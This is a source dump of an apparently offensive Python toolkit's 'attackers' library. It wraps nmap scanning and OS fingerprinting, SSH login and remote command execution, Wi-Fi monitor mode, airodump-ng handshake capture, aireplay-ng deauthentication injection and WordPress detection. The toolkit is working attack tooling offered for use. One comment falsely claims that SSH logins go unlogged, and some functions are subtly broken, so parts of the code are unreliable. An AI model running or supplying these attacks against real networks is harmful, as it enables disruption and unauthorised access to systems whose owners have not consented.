-------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/IP_Exists.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.attackers.network.ICMP import gpl_icmp 4 | import lib.config.GPL as GPL_Config 5 | 6 | """ gpl """ 7 | # check ip exists 8 | # 9 | # internal: 10 | # gpl_icmp 11 | # 12 | # note: 13 | # if return None: connection lose 14 | # 15 | # version 16 | # 1 17 | def gpl_ipv4_icmp_exists_check(ip, timeout=GPL_Config.ICMP_Timeout, TTL=GPL_Config.Default_TTL): 18 | Response = gpl_icmp(ip, timeout, TTL) 19 | if Response == None: 20 | return None 21 | if len(Response[0].res) > 0: 22 | # online 23 | return True 24 | elif len(Response[1].res) > 0: 25 | # offline 26 | return False 27 | else: 28 | # unknown 29 | return None -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/IP_Forwarding.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from os import popen 4 | 5 | # internal 6 | from lib.GPL.File_Workers import gpl_read_from_file, gpl_write_to_file 7 | from lib.GPL.Access_Managers import gpl_check_is_root 8 | 9 | """ GPL """ 10 | # set ip forwarding 11 | # 12 | # external: 13 | # from os import popen 14 | # 15 | # internal: 16 | # gpl_check_is_root 17 | # 18 | # version 19 | # 1 20 | def gpl_set_ipv4_forward_state(Active=False): 21 | if gpl_check_is_root(): 22 | if Active: 23 | popen('sysctl -w net.ipv4.ip_forward=1') 24 | if gpl_get_ipv4_forward_state(): 25 | return True 26 | else: 27 | popen('sysctl -w net.ipv4.ip_forward=0') 28 | if not gpl_get_ipv4_forward_state(): 29 | return True 30 | else: 31 | return None 32 | 33 | 34 | # get status of ip forward 35 | # 36 | # internal: 37 | # gpl_read_from_file 38 | # 39 | # note: 40 | # if return None, root access error or can't read file 41 | # 42 | # version 43 | # 1 44 | def gpl_get_ipv4_forward_state(): 45 | if gpl_check_is_root(): 46 | State = gpl_read_from_file('/proc/sys/net/ipv4/ip_forward', show_error=False) 47 | if State[0] == '1': 48 | return True 49 | elif State[0] == '0': 50 | return False 51 | else: 52 | return None 53 | else: 54 | return None -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/IP_Range.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from ipaddress import IPv4Address, IPv6Address 4 | 5 | """ GPL """ 6 | # return list of IPs (V4) 7 | # 8 | # external: 9 | # from ipaddress import IPv4Address 10 | # 11 | # version 12 | # 1 13 | def gpl_IPv4_range(start_IP: str, end_IP: str): 14 | # list of IPs 15 | IPs = [] 16 | # Create range 17 | start_IP = IPv4Address(start_IP) 18 | end_IP = IPv4Address(end_IP) 19 | for IP_int in range(int(start_IP), int(end_IP) + 1): 20 | IPs.append(str(IPv4Address(IP_int))) 21 | # return list of IPs 22 | return IPs 23 | 24 | 25 | 26 | # return list of IPs (V4) 27 | # 28 | # external: 29 | # from ipaddress import IPv6Address 30 | # 31 | # version 32 | # 1 33 | def gpl_IPv6_range(start_IP: str, end_IP: str): 34 | # list of IPs 35 | IPs = [] 36 | # Create range 37 | start_IP = IPv6Address(start_IP) 38 | end_IP = IPv6Address(end_IP) 39 | for IP_int in range(int(start_IP), int(end_IP)): 40 | IPs.append(str(IPv6Address(IP_int))) 41 | # return list of IPs 42 | return IPs -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/IP_To_MAC.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from scapy.all import srp, ARP, Ether 3 | 4 | import lib.config.GPL as GPL_Config 5 | 6 | 7 | # convert ip to mac 8 | # 9 | # external: 10 | # from scapy.all import srp, ARP, Ether 11 | # 12 | # note: 13 | # 1. don't manage CTRL+C CTRL+D 14 | # 2. if return False = network connection lose 15 | # 16 | # version 17 | # 1 18 | def gpl_ip_to_mac(IP, timeout_by_sec=GPL_Config.ARP_Timeout): 19 | try: 20 | ANS, unANS = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=IP), timeout=timeout_by_sec, verbose=0) 21 | for s, r in ANS: 22 | MAC = r[Ether].src 23 | except (KeyboardInterrupt, EOFError): 24 | raise Exception(KeyboardInterrupt) 25 | except: 26 | return False 27 | else: 28 | if 'MAC' in locals() and len(MAC) == 17: 29 | return MAC 30 | else: 31 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/OS_Detection.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from nmap import PortScanner 3 | 4 | """ GPL """ 5 | # detect OS and version 6 | # 7 | # external: 8 | # from nmap import PortScanner 9 | # 10 | # note: 11 | # If return None, connection lose or unable to scan 12 | # REMEMBER: it make scan all ports on target 13 | # 14 | # version 15 | # 1 16 | def gpl_OS_detector(IP): 17 | Scanner = PortScanner() 18 | try: 19 | Result = Scanner.scan(IP, arguments='-O') 20 | return Result['scan'][IP]['osmatch'][0] 21 | except: 22 | return None -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/Port_Scanner.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from nmap import PortScanner 3 | from socket import socket 4 | 5 | """ GPL """ 6 | # scan port status 7 | # 8 | # external: 9 | # from nmap import PortScanner 10 | # 11 | # note: 12 | # if return None, connection lose or unable to scan 13 | # 14 | # version 15 | # 2 16 | def gpl_port_scanner(IP, Port=None, UDP=False, Scan_Version=False, More_Nmap_Argument=''): 17 | Scanner = PortScanner() 18 | try: 19 | if Scan_Version: 20 | More_Nmap_Argument += ' -sV' 21 | if UDP: 22 | More_Nmap_Argument += ' -sU' 23 | if Port == None: 24 | Scan = Scanner.scan(IP, arguments=More_Nmap_Argument) 25 | else: 26 | Scan = Scanner.scan(IP, str(Port), arguments=More_Nmap_Argument) 27 | if UDP: 28 | Result = Scan['scan'][IP]['udp'] 29 | else: 30 | Result = Scan['scan'][IP]['tcp'] 31 | return Result 32 | except: 33 | return None 34 | 35 | 36 | 37 | # is tcp open ? 38 | # 39 | # external: 40 | # from socket import socket 41 | # 42 | # version 43 | # 1 44 | def gpl_is_TCP_open(IP, Port): 45 | Socket = socket() 46 | Result = Socket.connect_ex((IP, Port)) 47 | if Result == 0: 48 | return True 49 | elif Result == 111: 50 | return False 51 | else: 52 | return None 53 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/network/System_Info.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from socket import gethostname, socket 4 | 5 | # internal 6 | from lib.GPL.HTTP_Managers import gpl_http_get 7 | 8 | """ GPL """ 9 | # get ip 10 | # 11 | # external: 12 | # from socket import gethostname, socket 13 | # 14 | # internal: 15 | # gpl_http_get 16 | # 17 | # note: 18 | # if return False, internet lose 19 | # 20 | # version 21 | # 1 22 | def gpl_get_local_system_ip(): 23 | session = socket() 24 | try: 25 | session.connect(("8.8.8.8", 1)) 26 | IP = session.getsockname()[0] 27 | except: 28 | return False 29 | else: 30 | return IP 31 | 32 | 33 | 34 | # get remote ip 35 | # 36 | # internal: 37 | # gpl_http_get 38 | # 39 | # note: 40 | # if return None: connection lose. 41 | # version 42 | # 1 43 | def gpl_get_remote_system_ip(): 44 | IP = gpl_http_get('https://api.bugzone.ir/myIP.php', ok_http_codes=[200]) 45 | return IP 46 | 47 | 48 | # get hostname 49 | # 50 | # external: 51 | # from socket import gethostname 52 | # 53 | # version 54 | # 1 55 | def gpl_get_system_hostname(): 56 | try: 57 | return gethostname() 58 | except: 59 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/protocols/SSH.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, SSHException 4 | 5 | # external 6 | from socket import socket 7 | 8 | # configs 9 | from lib.config.GPL import SSH_Timeout, Encoding 10 | 11 | 12 | """ GPL """ 13 | # connect to SSH server 14 | # 15 | # internal: 16 | # from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, SSHException 17 | # 18 | # note: 19 | # 1. if get error, be quota over 20 | # 2. return SSH controller if connected 21 | # 3. your login won't be logged at server 22 | # 23 | # version 24 | # 1 25 | def gpl_connect_to_ssh(IP, username, password, port=22, timeout=SSH_Timeout): 26 | # initialize SSH client 27 | Client = SSHClient() 28 | Socket = socket() 29 | # add to know hosts 30 | Client.set_missing_host_key_policy(AutoAddPolicy()) 31 | # try to connect 32 | if Socket.connect_ex((IP, port)) != 0: 33 | raise SSHException('Quota over or closed port, Retry later...') 34 | try: 35 | Client.connect(hostname=IP, port=port, username=username, password=password, timeout=SSH_Timeout) 36 | except AuthenticationException: 37 | return False 38 | except SSHException: 39 | raise SSHException('Quota exceeded, Retry later...') 40 | except: 41 | return None 42 | else: 43 | return Client 44 | 45 | # run ssh commands on SSH_controller 46 | # 47 | # version 48 | # 1 49 | def gpl_run_command_on_SSH(SSH_controller, command, encoding=Encoding): 50 | try: 51 | Stdin, Stdout, Stderr = SSH_controller.exec_command(command) 52 | result = { 53 | 'ExitCode': Stdout.channel.recv_exit_status(), 54 | 'Stdout': Stdout.read().decode(encoding), 55 | 'Stderr': Stderr.read() 56 | } 57 | return result 58 | except: 59 | return False 60 | 61 | # Close SSH connection 62 | # 63 | # version 64 | # 1 65 | def gpl_disconnect_SSH(SSH_controller): 66 | try: 67 | SSH_controller.close() 68 | except: 69 | return False 70 | else: 71 | return True 72 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/protocols/Service_Version_Name_Scanner.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.attackers.network.Port_Scanner import gpl_port_scanner 4 | 5 | 6 | """ GPL """ 7 | # find http webserver version 8 | # 9 | # internal: 10 | # gpl_port_scanner 11 | # 12 | # note: 13 | # if return None, connection lose or unable to scan 14 | # 15 | # version 16 | # 1 17 | def gpl_find_service_version_name(IP, Port, more_nmap_argument=''): 18 | Version = gpl_port_scanner(IP, Port=Port, more_nmap_argument='-sV' + more_nmap_argument) 19 | if Version == None: 20 | return None 21 | # [Product_Name , Version] 22 | try: 23 | return [ Version[Port]['product'] , Version[Port]['version'] ] 24 | except: 25 | try: 26 | return [ None , Version[Port]['version'] ] 27 | except: 28 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/protocols/WebServer_Version.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.attackers.network.Port_Scanner import gpl_port_scanner 4 | 5 | 6 | """ GPL """ 7 | # find http webserver version 8 | # 9 | # internal: 10 | # gpl_port_scanner 11 | # 12 | # note: 13 | # if return None, connection lose or unable to scan 14 | # 15 | # version 16 | # 1 17 | def gpl_get_http_webserver_version(IP, Port=80): 18 | HTTP_Version = gpl_port_scanner(IP, Port=Port ,more_nmap_argument='-sV') 19 | if HTTP_Version == None: 20 | return None 21 | # [Product_Name , Version] 22 | return [ HTTP_Version[80]['product'] , HTTP_Version[80]['version'] ] -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Captrue.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.Command_Managers import gpl_run_OS_command, Without_Error 4 | from lib.core.G3nius_Location import G3nius_Location 5 | from lib.GPL.String_Workers import gpl_fix_string_to_uri 6 | from lib.GPL.Timeout import gpl_timeout 7 | # external 8 | from glob import glob 9 | from os.path import isdir 10 | # config 11 | from lib.config.GPL import AirCrack_More_Arguments_Capture, Default_WiFi_ScanTime 12 | """ gpl """ 13 | # capture wifi signals in file 14 | # 15 | # internal modules: 16 | # gpl_run_OS_command 17 | # 18 | # external: 19 | # from os.path import isdir 20 | # 21 | # NOTE: 22 | # (ESSID, BSSID, Channel) are filter options. 23 | # You can use everyone together. 24 | # You can't run it under thread 25 | # 26 | # version: 27 | # 1 28 | def gpl_wifi_capture_signals(Destination, ScanTime=Default_WiFi_ScanTime, Interface='wlan0', Channel=None, ESSID=None, BSSID=None): 29 | # save in directory if is 30 | if isdir(Destination) and Destination[-1] != '/': 31 | Destination += '/' 32 | # Filter options 33 | More_Args = '' 34 | if Channel: 35 | More_Args += ' -c ' + str(Channel) 36 | if BSSID: 37 | More_Args += ' --bssid ' + BSSID 38 | if ESSID: 39 | More_Args += ' --essid "' + gpl_fix_string_to_uri(ESSID) + '"' 40 | # capture 41 | with gpl_timeout(ScanTime): 42 | try: 43 | gpl_run_OS_command('airodump-ng ' + AirCrack_More_Arguments_Capture + More_Args + ' -w ' + gpl_fix_string_to_uri(Destination, fix_for_without_double_quotation=True) + ' ' + Interface + Without_Error) 44 | except TimeoutError: 45 | # stop airodump-ng 46 | gpl_run_OS_command('killall -9 airodump-ng') 47 | # Find newest files 48 | if isdir(Destination) and Destination[-1] != '/': 49 | Destination += '/' 50 | Cap_Files = glob(Destination + '*.cap') 51 | CSV_Files = glob(Destination + '*.csv') 52 | Kismet_CSV_Files = glob(Destination + '*.kismet.csv') 53 | Kismet_Netxml_Files = glob(Destination + '*.kismet.netxml') 54 | LogFiles = glob(Destination + '*.log.csv') 55 | Cap_Files.sort() 56 | CSV_Files.sort() 57 | Kismet_CSV_Files.sort() 58 | Kismet_Netxml_Files.sort() 59 | LogFiles.sort() 60 | # return 61 | return { 62 | 'Cap_Address': Cap_Files[-1], 63 | 'CSV_Address': CSV_Files[-1], 64 | 'Kismet_CSV_Address': Kismet_CSV_Files[-1], 65 | 'Kismet_Netxml_Address': Kismet_Netxml_Files[-1], 66 | 'LogFile_Address': LogFiles[-1] 67 | } 68 | else: 69 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Channel.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.config.GPL import Check_WiFi_Channel_Changed_In_Change, Change_Channel_Try_Times 3 | from lib.GPL.Command_Managers import gpl_run_OS_command 4 | from lib.GPL.IO import gpl_sleep 5 | 6 | """ gpl """ 7 | # set new channel 8 | # 9 | # internal modules: 10 | # gpl_run_OS_command 11 | # 12 | # version: 13 | # 1 14 | def gpl_wifi_set_channel(Channel, Interface="wlan0"): 15 | Result = gpl_run_OS_command('iwconfig ' + Interface + ' channel ' + str(Channel)) 16 | for i in range(0, Change_Channel_Try_Times): 17 | Current = gpl_wifi_channel(Interface) 18 | if Current == Channel: 19 | if len(Result) > 0: 20 | return False 21 | else: 22 | return True 23 | elif Current == None: 24 | return False 25 | gpl_sleep(Check_WiFi_Channel_Changed_In_Change) 26 | return False 27 | 28 | 29 | # get channel 30 | # 31 | # internal modules: 32 | # gpl_run_OS_command 33 | # 34 | # version: 35 | # 1 36 | def gpl_wifi_channel(Interface="wlan0"): 37 | Result = gpl_run_OS_command('iwlist ' + Interface + ' channel') 38 | Result = Result.split("\n")[-2] 39 | Result = Result.split(' ')[-1][:-1] 40 | try: 41 | return int(Result) 42 | except: 43 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Check_Requirements.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.GPL.Command_Managers import gpl_check_command_exists 3 | 4 | """ gpl """ 5 | # check Wi-Fi attackers requirements 6 | # 7 | # internal modules: 8 | # gpl_run_OS_command 9 | # 10 | # version: 11 | # 1 12 | def gpl_wifi_check_requirements(Commands = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'ifconfig', 'iwconfig', 'iwlist']): 13 | for Command in Commands: 14 | if not gpl_check_command_exists(Command): 15 | return False 16 | return True -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Fake_Packet.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from lib.GPL.Command_Managers import gpl_run_OS_command, return_ERROR_if_error 3 | from lib.config.GPL import AirCrack_More_Arguments_Fake_Packet 4 | from lib.config.WiFi_Fake_Packets import Packets 5 | 6 | 7 | # send fake deauth packet 8 | # 9 | # internal modules: 10 | # gpl_run_OS_command 11 | # 12 | # NOTE: 13 | # if Count=0, it's not will stop and return 14 | # 15 | # version: 16 | # 1 17 | def gpl_wifi_packet(AP_BSSID, Packet_Type=Packets.Deauth, Client_BSSID=None, Count=1, Interface='wlan0'): 18 | if Client_BSSID: 19 | Result = gpl_run_OS_command('aireplay-ng ' + AirCrack_More_Arguments_Fake_Packet + ' -' + str(Packet_Type) + ' ' + str(Count) + ' -a ' + AP_BSSID + ' -c ' + Client_BSSID + ' ' + Interface + return_ERROR_if_error) 20 | else: 21 | Result = gpl_run_OS_command('aireplay-ng ' + AirCrack_More_Arguments_Fake_Packet + ' -' + str(Packet_Type) + ' ' + str(Count) + ' -a ' + AP_BSSID + ' ' + Interface + return_ERROR_if_error) 22 | if Result == 'ERROR': 23 | return False 24 | else: 25 | return True -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Monning.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.GPL.Command_Managers import gpl_run_OS_command, NoOutPut, return_ERROR_if_error 3 | import lib.config.Error_Levels as Error_Levels 4 | from lib.core.Error_Handler import Handler 5 | 6 | """ def """ 7 | 8 | # IEEE 802.11 Wifi - monning on 9 | # 10 | # internal modules: 11 | # gpl_run_OS_command 12 | # 13 | # NOTE: 14 | # don't change interface name 15 | # 16 | # version: 17 | # 1 18 | def gpl_wifi_monning_on(): 19 | OutPut = [] 20 | Commands = [ 21 | # stop services using Wireless 22 | 'service wpa_supplicant stop' + NoOutPut, 23 | 'service network-manager stop' + NoOutPut, 24 | 'service NetworkManager stop' + NoOutPut, 25 | 'service avahi-daemon stop' + NoOutPut, 26 | # change mode & name 27 | 'ifconfig wlan0 down' + NoOutPut + return_ERROR_if_error, 28 | 'ip link set wlan0 name wlan0mon' + NoOutPut, 29 | 'iwconfig wlan0mon mode monitor' + NoOutPut + return_ERROR_if_error, 30 | 'ifconfig wlan0mon up' + NoOutPut + return_ERROR_if_error 31 | ] 32 | for Command in Commands: 33 | while True: 34 | try: 35 | OutPut.append(gpl_run_OS_command(Command)) 36 | except (EOFError, KeyboardInterrupt): 37 | Handler(Error_Levels.Failed_Job, "Can't use keyboard interrupts when Script working on hardware", "It's dangerous and maybe damage to your hardware, So blocked.") 38 | pass 39 | else: 40 | break 41 | if 'ERROR' in NoOutPut[-3:]: 42 | return False 43 | return True 44 | 45 | 46 | # IEEE 802.11 Wifi - monning off 47 | # 48 | # internal modules: 49 | # gpl_run_OS_command 50 | # 51 | # NOTE: 52 | # don't change interface name 53 | # 54 | # version: 55 | # 1 56 | def gpl_wifi_monning_off(): 57 | OutPut = [] 58 | Commands = [ 59 | # Change name & mode 60 | 'ifconfig wlan0mon down' + NoOutPut + return_ERROR_if_error, 61 | 'iwconfig wlan0mon mode managed' + NoOutPut + return_ERROR_if_error, 62 | 'ip link set wlan0mon name wlan0' + NoOutPut, 63 | 'ifconfig wlan0 up' + NoOutPut + return_ERROR_if_error, 64 | # start services using Wireless 65 | 'service wpa_supplicant start' + NoOutPut, 66 | 'service network-manager start' + NoOutPut, 67 | 'service NetworkManager start' + NoOutPut, 68 | 'service avahi-daemon start' + NoOutPut, 69 | 'nmcli networking off' + NoOutPut, 70 | 'nmcli networking on' + NoOutPut, 71 | 'service NetworkManager restart' + NoOutPut 72 | ] 73 | for Command in Commands: 74 | while True: 75 | try: 76 | OutPut.append(gpl_run_OS_command(Command)) 77 | except (EOFError, KeyboardInterrupt): 78 | Handler(Error_Levels.Failed_Job, "Can't use keyboard interrupts when Script working on hardware", "It's dangerous and maybe damage to your hardware, So blocked.") 79 | pass 80 | else: 81 | break 82 | if 'ERROR' in NoOutPut[:3]: 83 | return False 84 | return True 85 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/signals/IEEE_802_11_WiFi/Scanning.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.GPL.Command_Managers import gpl_run_OS_command, Without_Error 4 | from lib.GPL.File_Workers import gpl_read_from_file, gpl_remove_file 5 | from lib.GPL.String_Workers import gpl_fix_string_to_uri 6 | from lib.core.G3nius_Location import G3nius_Location 7 | from lib.GPL.Timeout import gpl_timeout 8 | # external 9 | from glob import glob 10 | # config 11 | from lib.config.GPL import AirCrack_More_Arguments_Scan, Default_WiFi_ScanTime 12 | 13 | """ gpl """ 14 | 15 | # get APs & clients 16 | # 17 | # internal modules: 18 | # gpl_run_OS_command 19 | # gpl_remove_file 20 | # gpl_fix_string_to_uri 21 | # G3nius_Location 22 | # gpl_timeout 23 | # 24 | # internal: 25 | # from glob import glob 26 | # 27 | # Structure: 28 | # { 29 | # "BSSID1": { 30 | # 'BSSID': 'AA:BB:CC:DD:EE:FF', 31 | # 'First_Time_Seen': '2022-07-28 01:40:52', 32 | # 'Last_Time_Seen': '2022-07-28 01:40:52', 33 | # 'Channel': 13, 34 | # 'Speed': 130, 35 | # 'Privacy': 'WPA2', 36 | # 'Cipher': 'CCMP TKIP', 37 | # 'Authentication': 'PSK', 38 | # 'Power': -33, 39 | # 'Beacons': 3, 40 | # 'IV': 0, 41 | # 'LAN_IP': '0.0.0.0', 42 | # 'ID_length': 12, 43 | # 'ESSID': 'AP_ESSID', 44 | # 'Key': None | 'Key', 45 | # "Clients": [ 46 | # { 47 | # 'MAC': 'AA:BB:CC:DD:EE:FF', 48 | # 'First_Time_Seen': '2022-07-28 01:40:52', 49 | # 'Last_Time_Seen': '2022-07-28 01:40:52', 50 | # 'Power': -33, 51 | # 'Packets': 12, 52 | # 'Probed_ESSIDs': ['ESSID1', 'ESSID2', ...], 53 | # 'Connected_BSSID': None | 'AA:BB:CC:DD:EE:FF' 54 | # } 55 | # , ...] 56 | # }, 57 | # ... 58 | # "Not_Associated": [ 59 | # { 60 | # 'MAC': 'AA:BB:CC:DD:EE:FF', 61 | # 'First_Time_Seen': '2022-07-28 01:40:52', 62 | # 'Last_Time_Seen': '2022-07-28 01:40:52', 63 | # 'Power': -33, 64 | # 'Packets': 12, 65 | # 'Probed_ESSIDs': ['ESSID1', 'ESSID2', ...], 66 | # 'Connected_BSSID': None | 'AA:BB:CC:DD:EE:FF' 67 | # } 68 | # ] 69 | # 70 | # version: 71 | # 1 72 | def gpl_wifi_scan_signals(Interface='wlan0', ScanTime=Default_WiFi_ScanTime): 73 | Temp_output_file = G3nius_Location() + '/tmp/AP_Scan' 74 | Result = { 75 | 'Not_Associated': [] 76 | } 77 | with gpl_timeout(ScanTime): 78 | try: 79 | # run airodump 80 | gpl_run_OS_command('airodump-ng ' + AirCrack_More_Arguments_Scan + ' --output-format csv -w ' + gpl_fix_string_to_uri(Temp_output_file, fix_for_without_double_quotation=True) + ' ' + Interface + Without_Error) 81 | except TimeoutError: 82 | # stop airodump-ng 83 | gpl_run_OS_command('killall -9 airodump-ng') 84 | # choose newest 85 | Temp_output_file = glob(Temp_output_file + '*') 86 | Temp_output_file.sort() 87 | # read out file 88 | OutPut = gpl_read_from_file(Temp_output_file[-1]) 89 | # delete outfile 90 | for OutFile in Temp_output_file: 91 | gpl_remove_file(OutFile) 92 | # process on output 93 | IsClients = False 94 | # process line by line 95 | for AP in OutPut.split("\n"): 96 | # skip first line 97 | if AP[:5] == 'BSSID': 98 | continue 99 | # delete empty lines 100 | elif len(AP) == 0: 101 | continue 102 | # get columns 103 | AP = AP.split(', ') 104 | # check goes in client section 105 | if AP[0] == 'Station MAC': 106 | IsClients = True 107 | continue 108 | elif IsClients: 109 | # is client 110 | Probed_ESSIDs = AP[5:][0].split(' ,') 111 | # fix probed list 112 | if len(Probed_ESSIDs) == 1: 113 | Probed_ESSIDs[0] = Probed_ESSIDs[0][:-1] 114 | if '(not associated)' in Probed_ESSIDs: 115 | Probed_ESSIDs.remove('(not associated)') 116 | if len(Probed_ESSIDs[0]) == 17: 117 | # is MAC (Connected) 118 | Connected_BSSID = Probed_ESSIDs[0] 119 | Probed_ESSIDs = Probed_ESSIDs[1:] 120 | else: 121 | # probed 122 | Connected_BSSID = None 123 | # set up 124 | Client = { 125 | 'MAC': AP[0], 126 | 'First_Time_Seen': AP[1], 127 | 'Last_Time_Seen': AP[2], 128 | 'Power': int(AP[3]), 129 | 'Packets': int(AP[4]), 130 | 'Probed_ESSIDs': Probed_ESSIDs, 131 | 'Connected_BSSID': Connected_BSSID 132 | } 133 | # append to result 134 | if Connected_BSSID: 135 | Result[Connected_BSSID]['Clients'].append(Client) 136 | else: 137 | Result['Not_Associated'].append(Client) 138 | else: 139 | # is AP 140 | # strip (except ESSID) 141 | for i in range(0,len(AP)): 142 | AP[i] = AP[i].strip() 143 | # get key 144 | if len(AP[14]) > 1: 145 | Key = AP[14] 146 | else: 147 | Key = None 148 | # fix lan ip 149 | AP[11] = AP[11].replace(' ', '') 150 | # append to result 151 | Result[AP[0]] = { 152 | 'BSSID': AP[0], 153 | 'First_Time_Seen': AP[1], 154 | 'Last_Time_Seen': AP[2], 155 | 'Channel': int(AP[3]), 156 | 'Speed': int(AP[4]), 157 | 'Privacy': AP[5], 158 | 'Cipher': AP[6], 159 | 'Authentication': AP[7], 160 | 'Power': int(AP[8]), 161 | 'Beacons': int(AP[9]), 162 | 'IV': int(AP[10]), 163 | 'LAN_IP': AP[11], 164 | 'ID_length': AP[12], 165 | 'ESSID': AP[13], 166 | 'Key': Key, 167 | 'Clients': [] 168 | } 169 | # return 170 | return Result 171 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/GPL/attackers/web/CMS/Wordpress.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.GPL.HTTP_Managers import gpl_http_get 3 | 4 | # configs 5 | from lib.config.GPL import Wordpress_Theme_Path 6 | 7 | 8 | """ GPL """ 9 | # connect to SSH server 10 | # 11 | # internal: 12 | # gpl_http_get 13 | # 14 | # version 15 | # 1 16 | def gpl_wordpress_exists(URL): 17 | Request = gpl_http_get(URL) 18 | if Request.status_code == 200 and Wordpress_Theme_Path in Request.text: 19 | return True 20 | else: 21 | return False 22 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_asyncio.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_asyncio.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_bz2.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_bz2.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_cn.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_cn.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_hk.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_hk.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_jp.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_jp.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_kr.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_kr.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_codecs_tw.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_codecs_tw.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_contextvars.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_contextvars.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_ctypes.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_ctypes.cpython-39-x86_64-linux-gnu.so 